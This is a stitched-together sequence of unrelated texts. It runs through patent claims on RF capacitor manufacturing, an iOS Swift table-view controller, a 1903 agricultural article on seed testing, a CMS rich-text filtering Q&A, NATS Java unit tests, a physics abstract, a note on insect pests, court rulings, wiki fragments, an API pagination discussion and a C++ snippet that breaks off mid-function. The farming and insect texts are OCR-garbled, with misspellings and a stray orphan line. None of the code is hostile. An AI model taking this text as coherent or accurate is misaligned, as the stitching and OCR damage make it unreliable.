2. The method of claim 1, further comprising: placing a thin layer of insulator onto said sacrificial carrier wafer; fabricating said capacitor by first depositing metal for a bottom electrode on said insulator, then inserting a dielectric material adjacent said bottom electrode and placing a top electrode of said capacitor on said dielectric material; overmolding said substrate; and grinding said overmold down to a desired level.
3. The method of claim 2, further comprising processing any needed resistors and interconnects and protecting said capacitors and other supporting circuits with a passivation layer prior to said overmolding.
4. The method of claim 3, further comprising opening said protective passivation layers where contacts are needed.
5. The method of claim 4, further comprising adding any preferred metal stud or ball interconnections to said openings while said wafer is still intact.
6. The method of claim 5, further comprising sawing, scribing or laser cutting said wafer to singulate said circuits.
7. The method of claim 5, further comprising packaging the parts using standard plastic overmold processes, or wafer scale packaging, or lead frame.
8. A method, comprising: fabricating a tunable capacitor and any desired circuits onto a sacrificial wafer; covering said wafer with an overmold; grinding a predetermined amount of overmold away; removing said sacrificial wafer; and singulating said wafer.
9. The method of claim 8, further comprising providing an insulating layer between said tunable capacitor and said wafer.
10. The method of claim 8, further comprising forming any resistors and interconnects onto said wafer and protecting said circuits with a passivation layer prior to said overmolding.
11. The method of claim 10, further comprising opening said passivation layer where contacts are needed.
12. The method of claim 11, further comprising prior to said overmolding adding any preferred metal stud or ball interconnections for enhanced thermal management that will enable soldering or thermo sonic bonding.
13. The method of claim 12, further comprising grinding said overmold down until said metal stud or ball interconnections are exposed.
14. The method of claim 13, further comprising plate or drop new solder balls onto each interconnection.
15. The method of claim 14, further comprising singulating said wafer and circuits and wherein exposed streets on said circuits or other alignment features are used to determine where exactly to saw said wafers and singulate the parts.
16. The method of claim 8, further comprising prior to said removal of said sacrificial layer, adding wax to hold said wafer onto said carrier during back-side processing and mounting said wafer on a temporary carrier.
17. A method of manufacturing RF capacitors, comprising: providing a sacrificial carrier substrate wafer; placing an insulating layer onto said substrate wafer; forming said RF capacitor on said insulating layer; overmolding said entire wafer; grinding said overmolding down to expose connections and adding solder balls to said connections; inserting wax over said overmolding to hold a temporary wafer mounted on said wafer; grinding away most or all of said sacrificial carrier substrate wafer; and etching away any remaining sacrificial wafer and stopping at said insulating layer.
18. The method of claim 17, further comprising overmolding additional plastic on opposite side of said circuits for increased mechanical strength.
19. The method of claim 18, further comprising removing temporary carries and wax.
20. The method of claim 19, further comprising singulating remaining structures into individual circuits.
21. The method of claim 17, wherein said sacrificial substrate is composed of silicon and said insulating layer is comprised of SiO2.
22. The method of claim 17, wherein said overmolding over said sacrificial wafer is not accomplished until said sacrificial substrate is removed by first mounting said wafer upside-down on a second temporary wafer, then grinding/etching said wafer away, whereafter said wafer is flipped and remounted via wax to a third wafer to expose the contact side of said wafer and finally covered with plastic and singulated.
23. An apparatus, comprising: an RF capacitor; and wherein said RF capacitor is fabricated onto a sacrificial wafer that is subsequently removed after fabrication of said apparatus.
24. The apparatus of claim 23, wherein the method of manufacturing said RF capacitors further comprises: placing an insulating layer onto said wafer; forming said RF capacitor on said insulating layer; overmolding said entire wafer; grinding said overmolding down to expose connections and adding solder balls to said connections; inserting wax over said overmolding to hold a temporary wafer mounted on said wafer; grinding away most of all of said sacrificial carrier substrate wafer; and etching away any remaining sacrificial wafer and stopping at said insulating layer.
25. The apparatus of claim 24, wherein said method of manufacturing further comprises overmolding additional plastic on opposite side of said circuits for increased mechanical strength.
26. The apparatus of claim 25, wherein said method of manufacturing further comprises removing temporary carries and wax.
27. The apparatus of claim 26, wherein said method of manufacturing further comprises singulating remaining structure into individual circuits.
28. The apparatus of claim 24, wherein said sacrificial substrate is composed of silicon and said insulating layer is comprised of SiO2.
29. The apparatus of claim 24, wherein said overmolding over said sacrificial wafer is not accomplished until said sacrificial substrate is removed by first mounting said wafer upside-down on a second temporary wafer, then grinding/etching said wafer away, whereafter said wafer is flipped and remounted via wax to a third wafer to expose the contact side of said wafer and finally covered with plastic and singulated.
|
//
// ViewController.swift
// DeleteAddCell
//
// Created by Hao on 2019/4/3.
// Copyright © 2019年 LIUHAO. All rights reserved.
//
import UIKit
class ViewController: UITableViewController, UITextFieldDelegate {
@IBOutlet var textField: UITextField!
var listTeams:NSMutableArray!
var Logs:NSMutableArray!
override func viewDidLoad() {
super.viewDidLoad()
// Do any additional setup after loading the view, typically from a nib.
self.navigationItem.rightBarButtonItem = self.editButtonItem
self.navigationItem.title = "单元格插入和删除"
self.textField.isHidden = true
self.textField.delegate = self
self.listTeams = NSMutableArray(array: ["黑龙江","吉林","辽宁"])
self.Logs = NSMutableArray()
let date = Date()
self.Logs.add(date)
let rc = UIRefreshControl()
rc.attributedTitle = NSAttributedString(string: "下拉刷新")
rc.addTarget(self, action: #selector(refreshTableView), for: UIControl.Event.valueChanged)
self.refreshControl = rc
}
@objc
func refreshTableView(){
if(self.refreshControl?.isRefreshing == true){
self.refreshControl?.attributedTitle = NSAttributedString(string: "加载中...")
let date = Date()
self.Logs.add(date)
sleep(UInt32(0.25))
self.refreshControl?.endRefreshing()
self.refreshControl?.attributedTitle = NSAttributedString(string: "下拉刷新")
self.tableView.reloadData()
}
}
override func setEditing(_ editing: Bool, animated: Bool) {
super.setEditing(editing, animated: animated)
self.tableView.setEditing(editing, animated: animated)
if(editing){
self.textField.isHidden = false
}else{
self.textField.isHidden = true
}
}
override func tableView(_ tableView: UITableView, numberOfRowsInSection section: Int) -> Int {
return self.listTeams.count + 1
}
override func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell {
let cellIndentifier = "CellIdentifier"
let b_addCell = (indexPath.row == self.listTeams.count);
let cell = tableView.dequeueReusableCell(withIdentifier: cellIndentifier, for: indexPath)
if(!b_addCell){
cell.accessoryType = .disclosureIndicator;
cell.textLabel?.text = self.listTeams[indexPath.row] as? String
}else{
self.textField.frame = CGRect(x: 40, y: 0, width: 300, height: cell.frame.size.height)
self.textField.borderStyle = .none
self.textField.placeholder = "Add...."
self.textField.text = ""
cell.addSubview(self.textField)
}
return cell
}
override func tableView(_ tableView: UITableView, editingStyleForRowAt indexPath: IndexPath) -> UITableViewCell.EditingStyle {
if(indexPath.row == self.listTeams.count){
return .insert
}else{
return .delete
}
// return .none
}
override func tableView(_ tableView: UITableView, commit editingStyle: UITableViewCell.EditingStyle, forRowAt indexPath: IndexPath) {
let indexPaths = NSArray(object: indexPath)
if(editingStyle == .delete){
self.listTeams.removeObject(at: indexPath.row)
self.tableView.deleteRows(at: indexPaths as! [IndexPath], with: UITableView.RowAnimation.fade)
}else if(editingStyle == .insert){
self.listTeams.insert(self.textField.text!, at: self.listTeams.count)
self.tableView.insertRows(at: indexPaths as! [IndexPath], with: UITableView.RowAnimation.fade)
}
self.tableView.reloadData()
}
override func tableView(_ tableView: UITableView, shouldHighlightRowAt indexPath: IndexPath) -> Bool {
if(indexPath.row == self.listTeams.count){
return false
}else{
return true
}
}
override func tableView(_ tableView: UITableView, canMoveRowAt indexPath: IndexPath) -> Bool {
return true
}
override func tableView(_ tableView: UITableView, moveRowAt sourceIndexPath: IndexPath, to destinationIndexPath: IndexPath) {
let stringToMove = self.listTeams[sourceIndexPath.row]
self.listTeams.removeObject(at: sourceIndexPath.row)
self.listTeams.insert(stringToMove, at: destinationIndexPath.row)
}
}
|
IMarch 26, 1903.
Small Seeds and a Testing Station. Farmers do not love change, and they are not easy to move out of a beaten track ; but their choice of seed mix¬ tures is often changing and capricious, and this is the excep¬ tion which proves the rule. There are so many vendors of seeds on every market that farmers have an endless choice of samples ; and, considering the opportunities thus given and the growing importance of temporary, pastures, it is not surprising that they are more ready than they used to lie to attempt new seed mixtures. Rye gi'asses were at one time persistently tabooed by the leaders in agricultural science. When the Wheat crop was depended on to pay the rent, it was found necessary to grow Clover as a prepai’ation for the Wheat crop more than with a view to sheep pasturage. Rye grass did not leave the land rich enough for farmers in those days, but great changes have occurred since then. Notwithstanding the low price of wool, sheep realise nearly as much as ever they did ; but Wheat at 27s. per quarter is not remunerative enough to command the first consideration in arranging the mixtures of small seeds. , One of the great objection to Rye grass, especially the Italian variety, has always been the difficulty of obtaining samples free from the seeds of couch grass. The farmer has difficulty enough in keeping his land clean without sow¬ ing twitch, and this was generally done with every lot of Italian Rye grass thirty years ago. Great credit must be given to seed growers and merchants for the improvement which has taken place in this respect, and now Dwarf Perennial Rye grass may be purchased of absolute purity ; and Italian, if not absolutely true, still without any admix¬ ture of couch. The production of pure seeds depends entirely on the grower. If he commences with a sample selected by hand, and grows it on absolutelv clean land year by year, in course of time he is able to put on the market a large stock of seed of absolute purity, and can command a high price for it. There is no doubt that even now, not¬ withstanding all that has been done, a great many grossly impure samples are on the market, and the fear of pur¬ chasing weeds in.stead of grass deters many a farmer from sowing Italian Rye grass. In the case of Clovers he can see what he gets. It is desirable that all seeds, especiallv Rye grass, should be sold with a guarantee of purity ; but this can be of little value unless there is some properly authorised system 'of testing them. The Royal Agricultural Society has been of great assistance to farmers generally by providing an effi¬ cient means whereby they could ascertain the value of pur¬ chased manures, and it has been suggested that the society should take up the work of testing seeds. This, however. i.5 a ver.v different matter from the simple anal.vsis of manures by a first-class chemist, and would require the full co-operation of seed merchants and growers ; whether they would sive such assistance to a semi-amateur organisation as the R.A.S. is more than doubtful. This testing of seeds is an important question, and one <0 be dealt with by the Government through the Board of Agriculture. The testing should be conducted by pm’manenl officials on sfrictlv impartial line.s. All samples offered on markets should be liable to inspection by a market official or inspector, who might send portions of the same to be officially fpsted. in just the same fashion as milk and other articles of food are tested now. In fact, the Merchandise Marks Act should be made to fully apply to the trade in small seeds, and a merchant who offers R.ve grass and twitch seed as the I’eal article should be liable to severe penalties. Until we have an official rapans of testing the genuineness of seerls it is most advisable to buy only from firms of high standing and untarni,shed reputation. We. may have to pav a higher price, but a larger Quantity of seed is renuired when the germination is doubtful, and therefore the difference .per acre may be something quite immaterial when comparing good and doubtful seeds. Clover seeds are hardening in price, and good English are scarce and very dear. No good ■white can be bought under Is. per lb, and red at 12s. per stone. There m‘e plenty of samples at less money ; some pretty but unripe samples of American Red can be put on the market at 8s., and no doubt much of this really inferior stuff will be sown. It will germinate well enough, no doubt, but next year at this time a plant may be conspicuous only by its absence. We have been much struck this season by some more than excellent plots of young red Clover belonging to small farmers in this parish, and find on inquiry that all bought the same seed, a mixture of several varieties of Red Clover and Cow-grass. One farmer had been previously successful with this mixture, and the others followed his lead. This man gives his mixture a wmndertiil character for standing the winter, and we are going to suggest that this mav be owing to the mixture of so many kinds pro¬ viding the farmer, so to say, with so ma,ny strings to his ^°'no doubt 14lb of Clover seed evenly distributed is far more than necessary to plant an acre of land, and if onehalf or even one-third get well hold and weather the flood and frost of winter, there should be ample to cover the soil Avith profit. We commend this idea of sowing a mixture of Reds and a little Cow-grass (not too much of this) to our readers’ attention. Going back to the question m Rye grasses, there is no doubt that imported seed from r ranee ia the most satisfactory form of Italian. It should have been well recleaned in England, and will cost about 6s. 3d. per bushel, or 50s. per quarter. Home-grown seed is heavier, and perhaps cleaner, but it does not grow so early or produce so good a crop. The price is less, being about 5s. per bushel, and 40s. per quarter. • Perennial Rye grass is represented by two varieties, the Avrshire, or ordinary, and Pacey’s Dwarf Perennial ; the latter is very heavy, and weisfhs up to 28lb per bushel. As it is very square ended seed, having no horn or tail, any straw seeds of Italian, or possibly twitch grass, may be readilv detected. This is considerably in its favour Avhen absolute purity and cleanliness are insisted uPon ihe price of Ayrshire weighing 22lb to 24lb per bushel is 5s. 3d. to 6s. ; and Pace-^’s, weighing 24lb to 28lb, 6s. to 6s 6d., the higher prices denoting the heavier weights. Work on the Home Farm. This is a funny March ! We are getting plenty of wind ; but Oh ! such a lot of water with it ! We are still getting manure out, when we can, and there are Potatoes to send away; but sorting in the open has been out of the question on most days. We had been pleased to think that farm work ivas rather forward, but at this rate there will soon be plenty of arrears. We must keep off the laud at any cost, for the hopse.V feet ''vould be ruinous to any prospect of good tilth. The ram is doing Wheat much good on this fairly high land. It is beating it solid in a “ore effects e fashion than any roller could have done, and theie can be no rolling now for a long time. tvTq„ Now is the time to prepare the artificial manure foi Man¬ golds— well, perhaps semi-artificial Avoiild be nearer the mark, for piueou and hen manure are certainly natiiial enough. home-made guano is just ivhat Mangolds require, and about this time we clean out hen-houses and pigeqn-cotes and any othei place where fowls vill congregate, and mix the dung so collected with freshly obtained super-phosphate, and, if freshly made, al the better in the proportion of 8cwt of . super ivith one caitload of guano. It must be thoroughly well mixed, and will requiie an occasional turning before it is required at the end ot April, or i will not be a pleasant job for the man who soip . i , Speaking to a skin dealer whom we saw starting for marke with a loaded cart the other day, ive found that the good health of the ewe flocks is well maintained. No one knows so well as tlie fellmonger how matters are going, and this one gave a most excellent report. . • Fat sheep are still very dear, especially wethers and eves, it Ave had not so many Turnips left Ave should like to be market¬ ing some. A neighbour Avas sending a nice draft aAvay yesteiday, and no doubt would have a satisfactory return. Beef sells Avell if it is fat enough, but small pork is much cheaper and quite out of proportion tO' the price of bacon or young pigs, buckers are much too dear to turn into pork at 6s. per stone. 1 otatoes are a dreadful trade and getting Avorse. Dates are the only Potatoes inquired for. Professor Maercker is under a cloud, he is Avhite and cooks mealy, but he has too many humps and shoulders to pare round, and his eyes require a gouge to properly extract them. Yon Avill not do. Professor! Northern Star has reached the record price of 21s. per lb. Why not 21 guineas? One is as sensible as the other. We have knoAvn many iieAv Potatoes in onr time and harm forgotten most of them. Eheu! fugaces!
|
Rich text field change HTML Structure
I have a component with a rich text field.
In the Source tab I type the bellow html source to the rich text field.
<a><span>test<span></a>
then I switch to the Design tab and then I switch to the Source tab and My typing html source is not change.(This behavior is my desire.)
<a><span>test<span></a>
But, next
In the Source tab I type the bellow html source to the rich text field.
<a><div>test</div></a>
then I switch to the Design tab and then I switch to the Source tab and My typing html source is change.
<a> </a>
<div>test</div>
But I want to not change HTML Structure.
The configuration of rich text field is described below.
Document Type: Transitional
Accessibility Level: None
Filtering XSLT is described below.(default)
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">
<xsl:output omit-xml-declaration="yes" method="xml" cdata-section-elements="script"></xsl:output>
<xsl:template match="/ | node() | @*">
<xsl:copy>
<xsl:apply-templates select="node() | @*"></xsl:apply-templates>
</xsl:copy>
</xsl:template>
<xsl:template match="*[ (self::br or self::p or self::div) and normalize-space(translate(., ' ', '')) = '' and not(@*) and not(processing-instruction()) and not(comment()) and not(*[not(self::br) or @* or * or node()]) and not(following::node()[not( (self::text() or self::br or self::p or self::div) and normalize-space(translate(., ' ', '')) = '' and not(@*) and not(processing-instruction()) and not(comment()) and not(*[not(self::br) or @* or * or node()]) )]) ]">
<!-- ignore all paragraphs and line-breaks at the end that have nothing but (non-breaking) spaces and line breaks -->
</xsl:template>
<xsl:template match="br[parent::div and not(preceding-sibling::node()) and not(following-sibling::node())]">
<!-- Chrome generates <div><br/></div>. Renders differently in different browsers. Replace it with a non-breaking space -->
<xsl:text> </xsl:text>
</xsl:template>
</xsl:stylesheet>
I think that the above Filtering XSLT configuration is wrong, maybe.
But I don't know where is wrong.
So, please tell me how to configurate the Filtering XSLT and limitation of rich text field (for example, <head> tag can not be used. )
The Rich Text Format area is not HTML but rather (as Dominic Cronin's pointed out) "XML in the XHTML namespace" (XHTML in practice). So we can't put a <div> inside an a or anchor by default. Consider a span or changing the configuration (see KB post or Nick's post). For a product perspective, see Nuno's post.
Rich text format area fields are not only processed by the XSLT, but by Tidy (I'm not sure exactly which implementation it is, but the documentation here should give some clues.)
As it is plainly not the XSLT that is making these changes, I'd assume that Tidy is to blame. Note that the content of a rich text format area is wrapped in a <body/> element before processing (it needs a single root to be loaded into a DOM for the XSLT). I would not expect Tidy to allow a <head/> element within a <body/>, nor indeed a <div/> within an <a/>.
I don't know exactly what parameters Tidy is invoked with, but I don't think there's much you can do to influence this. (I think changing the Document Type of your RTF probably influences the parameters, but not in this regard.)
It's not always necessary to control the RTF quite so tightly. After all, it's a means of capturing input, not of specifying your output. It is very common for implementors to transform the RTF data in their templates if the required output is not close enough to the native XML format.
It sounds like you're wishing for someone to write your XSLT code for you. You would get a lot more help from the community if you attempted to solve your problem and pasted your question here with code that you have tested and an explanation of the bugs you've found.
Regarding <head>, I did a simple test in my CMS (2013 Sp1) with <head>test</head> and the tags we're stripped out. As there's no way to insert a <head> tag into the RTF using the WYSIWYG tools, I think you're safe here.
|
Domestic payments v4
Issue: https://github.com/SecureApiGateway/SecureApiGateway/issues/1559
Implemented controllers and validators to support v4 domestic payments functionality.
Refactored to account for the package changes in commons and RCS.
You're right @dbadham-fr. I initially thought there will be changes but since we rely on the FR objects and they hold the structure for both v3 and v4, these will not be required anymore. I removed them and switched to using v3 components.
|
We present a geometrical unification theory in a Kaluza-Klein approach that
achieve the geometrization of a generic gauge theory bosonic component.
We show how it is possible to derive the gauge charge conservation from the
invariance of the model under extra-dimensional translations and to geometrize
gauge connections for spinors, thus we can introduce the matter just by free
spinorial fields. Then, we present the applications to i)a pentadimensional
manifold $V^{4}\otimes S^{1}$, so reproducing the original Kaluza-Klein theory,
unless some extensions related to the rule of the scalar field contained in the
metric and the introduction of matter by spinors with a phase dependence from
the fifth coordinate, ii)a seven-dimensional manifold $V^{4}\otimes
S^{1}\otimes S^{2}$, in which we geometrize the electro-weak model by
introducing two spinors for any leptonic family and quark generation and a
scalar field with two components with opposite hypercharge, responsible of
spontaneous symmetry breaking.
|
// Copyright 2015-2018 The NATS Authors
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at:
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
/**
*
*/
package io.nats.streaming;
import static org.junit.Assert.assertArrayEquals;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertTrue;
import com.google.protobuf.ByteString;
import io.nats.streaming.protobuf.MsgProto;
import org.junit.Test;
public class MessageTests {
static final String clusterName = "my_test_cluster";
static final String clientName = "me";
/**
* Test method for {@link io.nats.streaming.Message#Message()}.
*/
@Test
public void testMessage() {
new Message();
}
/**
* Test method for {@link io.nats.streaming.Message#Message(io.nats.streaming.protobuf.MsgProto)}.
*/
@Test
public void testMessageMsgProto() {
final String subject = "foo";
final String reply = "bar";
final byte[] data = "Hello World".getBytes();
final long sequence = 1234567890;
final boolean redelivered = true;
final int crc32 = 9898989;
long timestamp = System.nanoTime();
MsgProto msgp = MsgProto.newBuilder().setSubject(subject).setReply(reply)
.setData(ByteString.copyFrom(data)).setTimestamp(timestamp).setSequence(sequence)
.setRedelivered(redelivered).setCRC32(crc32).build();
Message msg = new Message(msgp);
assertEquals(subject, msg.getSubject());
assertEquals(reply, msg.getReplyTo());
assertArrayEquals(data, msg.getData());
assertEquals(sequence, msg.getSequence());
assertEquals(redelivered, msg.isRedelivered());
assertEquals(crc32, msg.getCrc32());
assertNotNull(msg.getInstant());
}
@Test
public void testMessageSetters() {
final String subject = "foo";
final String reply = "bar";
final byte[] data = "Hello World".getBytes();
Message msg = new Message();
msg.setSubject(subject);
msg.setReplyTo(reply);
msg.setData(data);
assertEquals(subject, msg.getSubject());
assertEquals(reply, msg.getReplyTo());
assertArrayEquals(data, msg.getData());
}
@Test
public void testImmutable() {
final String subject = "foo";
final String reply = "bar";
final byte[] data = "Hello World".getBytes();
final long sequence = 1234567890;
final boolean redelivered = true;
final int crc32 = 9898989;
long timestamp = System.nanoTime();
MsgProto msgp = MsgProto.newBuilder().setSubject(subject).setReply(reply)
.setData(ByteString.copyFrom(data)).setTimestamp(timestamp).setSequence(sequence)
.setRedelivered(redelivered).setCRC32(crc32).build();
Message msg = new Message(msgp);
boolean exThrown = false;
try {
msg.setSubject(subject);
} catch (Exception e) {
assertTrue(e instanceof IllegalStateException);
assertEquals(e.getMessage(), Message.ERR_MSG_IMMUTABLE);
exThrown = true;
}
assertTrue("Should have thrown exception", exThrown);
exThrown = false;
try {
msg.setReplyTo(reply);
} catch (Exception e) {
assertTrue(e instanceof IllegalStateException);
assertEquals(e.getMessage(), Message.ERR_MSG_IMMUTABLE);
exThrown = true;
}
assertTrue("Should have thrown exception", exThrown);
exThrown = false;
try {
msg.setData("test".getBytes());
} catch (Exception e) {
assertTrue(e instanceof IllegalStateException);
assertEquals(e.getMessage(), Message.ERR_MSG_IMMUTABLE);
exThrown = true;
}
assertTrue("Should have thrown exception", exThrown);
exThrown = false;
try {
byte[] payload = "test".getBytes();
msg.setData(payload, 0, payload.length);
} catch (Exception e) {
assertTrue(e instanceof IllegalStateException);
assertEquals(e.getMessage(), Message.ERR_MSG_IMMUTABLE);
exThrown = true;
}
assertTrue("Should have thrown exception", exThrown);
}
/**
* Test method for {@link io.nats.streaming.Message#toString()}.
*/
@Test
public void testToString() {
final String subject = "foo";
final String reply = "bar";
final byte[] data = "Hello World 1234567890 1234567890 1234567890".getBytes();
MsgProto msgp = MsgProto.newBuilder().setSubject(subject).setReply(reply)
.setData(ByteString.copyFrom(data)).build();
Message msg = new Message(msgp);
assertNotNull(msg.toString());
msg = new Message();
msg.setSubject(subject);
try {
assertNotNull(msg.toString());
} catch (Exception e) {
e.printStackTrace();
}
}
}
|
<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
class CaptchaController extends Controller
{
public function refresh(Request $request)
{
return response()->json(['captcha'=> captcha_img('flat')]);
}
}
|
DIPTEKA OR TRUE FLIES. 225
Prevention and Remedies. — As far as possible, all infested fruitlets should be destroyed, but this is not always feasible. At present the most successful preventive seems to be kainit spread under the trees after infestation, at the rate of half a ton to the acre (Professor J. B. Smith). If the kainit is used at the time the larvae are falling to the ground, 5 cwt. to the acre is suflBcient. Kemoval of the soil for some two inches deep and burning it in the winter would do much good where possible, but it is a troublesome and risky plan, not to be advised except in very local attacks.
Another member of the same family is often injurious to turnip and cabbage seed. The larvae of this midge live in the seeds of turnip, rape, and cabbage, in the pods. As many as sixty may often be found in one pod, which they cause to turn prematurely yellow and to burst. The fly has a black head and thorax, pinkish abdomen banded with dark-brown, and black legs which are silvery beneath. The female has a long white ovipositor, and lays her eggs in the young pods. We find the larvae in May and June : they are white, often with a greenish yellow stripe down the middle. They reach one-twelfth of an inch in length when mature, and fall to the ground out of the split pod and there pupate, coming forth as the second brood of flies in a few days hence. I have found it has three broods at times. Little can be done to prevent its damage, which is often severe.
bids our even mentioning them here.
The Bibionidse form a family of dark flies with broad bodies, short legs, and the tibiae armed with thick spines. They frequent damp meadows, and some of the genus Bihio appear in great numbers. One species, the Fever Fly {Dilophus fehrilis),
|
Edward F. Moll et al., Plaintiffs, v Wegmans Food Markets, Inc., Defendant and Third-Party Plaintiff-Appellant. Olympic Disposal Corp. et al., Third-Party Defendants-Respondents.
[755 NYS2d 131]
—Appeal and cross appeal from an order of Supreme Court, Monroe County (Barry, J.), entered January 18, 2002, which, inter alia, granted the motion of third-party defendant Olympic Disposal Corp. for summary judgment dismissing the third-party complaint against it.
It is hereby ordered that the order so appealed from be and the same hereby is unanimously modified on the law by denying the motion of third-party defendant Olympic Disposal Corp. and reinstating the third-party complaint against it and by granting the cross motion of defendant-third-party plaintiff to the extent that it sought judgment determining that third-party defendant Olympic Disposal Corp. is liable for the resulting damages, including defendant-third-party plaintiff’s liability to plaintiffs and defendant-third-party plaintiff’s costs and expenses incurred in defending plaintiffs’ action, and as modified the order is affirmed without costs and the matter is remitted to Supreme Court, Monroe County, for further proceedings in accordance with the following memorandum: Supreme Court erred in granting the motion of third-party defendant Olympic Disposal Corp. (Olympic) for summary judgment dismissing the third-party complaint for breach of contract and contractual indemnification against it. The court further erred in denying the cross motion of defendant-third-party plaintiff, Wegmans Food Markets, Inc. (Wegmans), for summary judgment on the third-party complaint to the extent that it sought judgment determining that Olympic is liable for damages owed by Wegmans to plaintiffs, including the damages resulting from Wegmans’ liability to plaintiffs and Wegmans’ costs and expenses incurred in defending plaintiffs’ action. We note at the outset that Wegmans has abandoned any challenge to that part of the order dismissing the third-party complaint against third-party defendant Commerce & Industry Insurance Company by failing to address that part of the order in its brief (see Ciesinski v Town of Aurora, 202 AD2d 984).
“It is well settled that ‘[a] contract to procure or provide insurance coverage is clearly distinct from and treated differently than an agreement to indemnify’ ” (Mathew v Crow Constr. Co., 220 AD2d 490, 491, quoting Roblee v Corning Community Coll., 134 AD2d 803, 804, lv denied 72 NY2d 803; see also Kinney v Lisk Co., 76 NY2d 215, 218-219; ADF Constr. Corp. v Premier Drywall, 295 AD2d 965). The solid waste disposal agreement between Wegmans and Olympic at issue in the third-party action required that Olympic procure insurance naming Wegmans as an additional insured, and it is undisputed that Olympic failed to do so. Because Olympic thereby breached the agreement, it is liable for the resulting damages, including Wegmans’ liability to plaintiffs and Wegmans’ costs and expenses incurred in defending plaintiffs’ action (see Kinney, 76 NY2d at 219; Caputo v Kimco Dev. Corp., 226 AD2d 1142, 1142-1143).
Olympic contends that Wegmans is not entitled to damages because Wegmans offered no evidence that the solid waste disposal agreement covered the underlying accident. Olympic contends that evidence that Edward F. Moll (plaintiff) slipped on a “slimy smelly fluid” in proximity to the dumpster is insufficient to establish its liability under the agreement. However, “[t]he focus of a policy clause * * * is not on the precise cause of the accident but [rather the focus is on] the general nature of the operation in the course of which the injury was sustained” (Impulse Enters. /F & V Mech. Plumbing & Heating v St. Paul Fire & Mar. Ins. Co., 282 AD2d 266, 267). Here, Olympic agreed to “maintain and make available to Wegmans, at all reasonable times, reasonably sufficient equipment and personnel to enable it to remove such solid waste.” The evidence that plaintiff slipped on a substance that allegedly came from the dumpster is sufficient to establish that the injury was covered by the agreement. In view of our determination, we do not address the further contention of Wegmans that Olympic is collaterally estopped from challenging the jury’s apportionment of Olympic’s liability for plaintiffs injuries.
Thus, we modify the order by denying the motion of Olympic and reinstating the third-party complaint against it and by granting the cross motion of Wegmans to the extent that it sought judgment determining that Olympic is liable for the resulting damages, including Wegmans’ liability to plaintiffs and Wegmans’ costs and expenses incurred in defending plaintiffs’ action, and we remit the matter to Supreme Court, Monroe County, to determine the amount of those damages. Present — Wisner, J.P., Hurlbutt, Scudder, Gorski and Lawton, JJ.
|
The Hero Boy Named Finn
== Information== Its a song sung in the epsiode Freak City it was sung by FInn.
Lyrics
Finn:"GET UP, GORK!"
Gork:"Huh? Why?"
Gork:"WOAH. OK, MAN. JUST BE COOL."
Jake:"Hey, Finn."
Jake:"Heh heh.
|
Jose Antonio AYES, Appellant(s)/Petitioner(s), v. BIG DOG EXPRESS OF SOUTH FLORIDA, INC., etc., et al., Appellee(s)/Respondent(s),
CASE NO.: 3D18-0028
District Court of Appeal of Florida, Third District.
FEBRUARY 07, 2018
DECISION WITHOUT PUBLISHED OPINION
Denied.
|
Talk:Ken Kaneki/<EMAIL_ADDRESS>
Ishida wrote the script to Root A... hence, this is no mistake.
That´s how I see it.
|
Improve the catalog response format
The current API returns paginated catalog responses in paginated envelope with array of response items inside a JSON-LD object:
{
"@context": "https://linksmart.eu/thing-directory/context.jsonld",
"@type": "Catalog",
"items": [ ],
"page": 1,
"perPage": 100,
"total": 1000
}
The pagination attributes are passed as page and per_page query arguments defaulting to page=1 and per_page=100. The maximum allowed per_page value is set to 100 to reduce the load on server.
We need to see if this needs improvements.
Some useful relevant specs / standards:
Collection+JSON - Hypermedia Type: http://amundsen.com/media-types/collection/
Representing Constrained RESTful Environments (CoRE) Link Format in JSON and CBOR: https://tools.ietf.org/html/draft-ietf-core-links-json-10
Parallel discussion in WoT Discovery: https://github.com/w3c/wot-discovery/issues/16
Another way to do this is by directly returning the items array (JSON Array) without the pagination object and attributes. The pagination attributes can still be responded in HTTP headers.
Example: https://developer.wordpress.org/rest-api/using-the-rest-api/pagination/
Servers which respond with array of results inside an object:
Confluence
Query parameters: start, size
Example response:
{
"_links": {
"base": "http://localhost:8080/confluence",
"context": "",
"next": "/rest/api/space/ds/content/page?limit=5&start=5",
"self": "http://localhost:8080/confluence/rest/api/space/ds/content/page"
},
"limit": 5,
"results": [ ], // results
"size": 5,
"start": 0
}
Elasticsearch
Query parameters: from, size
Example response:
{
"hits" : {
"total" : {
"value" : 1
},
"hits" : [ ] // results
}
}
OpenStack
Query parameters: limit, marker
Example response:
{
"items": [ ], // results
"links": [
{
"rel": "self",
"href": "http://example.com/app/items?limit=30&marker=752b0b9997f24be49e5a1d89d1c53279",
},
{
"rel": "first",
"href": "http://example.com/app/items?limit=30",
},
{
"rel": "prev",
"href": "http://example.com/app/items?limit=30&marker=eff79f5b4f8743caa1f775846302c1d5",
},
{
"rel": "next",
"href": "http://example.com/app/items?limit=30&marker=08ec231f6d9a43dda97d4b950c3393df",
},
{
"rel": "last",
"href": "http://example.com/app/items?limit=30&marker=6835afb7ea29491bb2722c6c43f1f070",
}
]
}
WORK IN PROGRESS
We could also use the query language to navigate through resources.
E.g.:
XPath: *[position() >= 100 position() < 200]
JSONPath: $[100:200]
Edge cases to consider if we depend on query language for pagination:
What if no range is given?
What if a very large range is given?
How to query only the requested range from DB?
The most recent WoT Discovery spec recommends the use of arrays as payload for listing of TDs: https://w3c.github.io/wot-discovery/#exploration-directory-api-registration-listing
Implemented at /things endpoint.
|
#include <boss.hpp>
#include "bullets_example.hpp"
#include <resource.hpp>
////////////////////////////////////////////////////////////////////////////////
#define LEVEL_NUMBER LEVEL_SENIOR
////////////////////////////////////////////////////////////////////////////////
#define STEP_NUMBER 0
MISSION_DECLARE("STEP_0")
int BulletsExample::Senior::OnAdd(float& x, float& y, float& r)
{
static sint32 Count = 0;
x = (Platform::Utility::Random() % 400) - 200.0f;
y = (Platform::Utility::Random() % 400) - 200.0f;
r = 10;
return (++Count < 30)? 20 : -1;
}
int BulletsExample::Senior::OnAct(int& type, float& vx, float& vy)
{
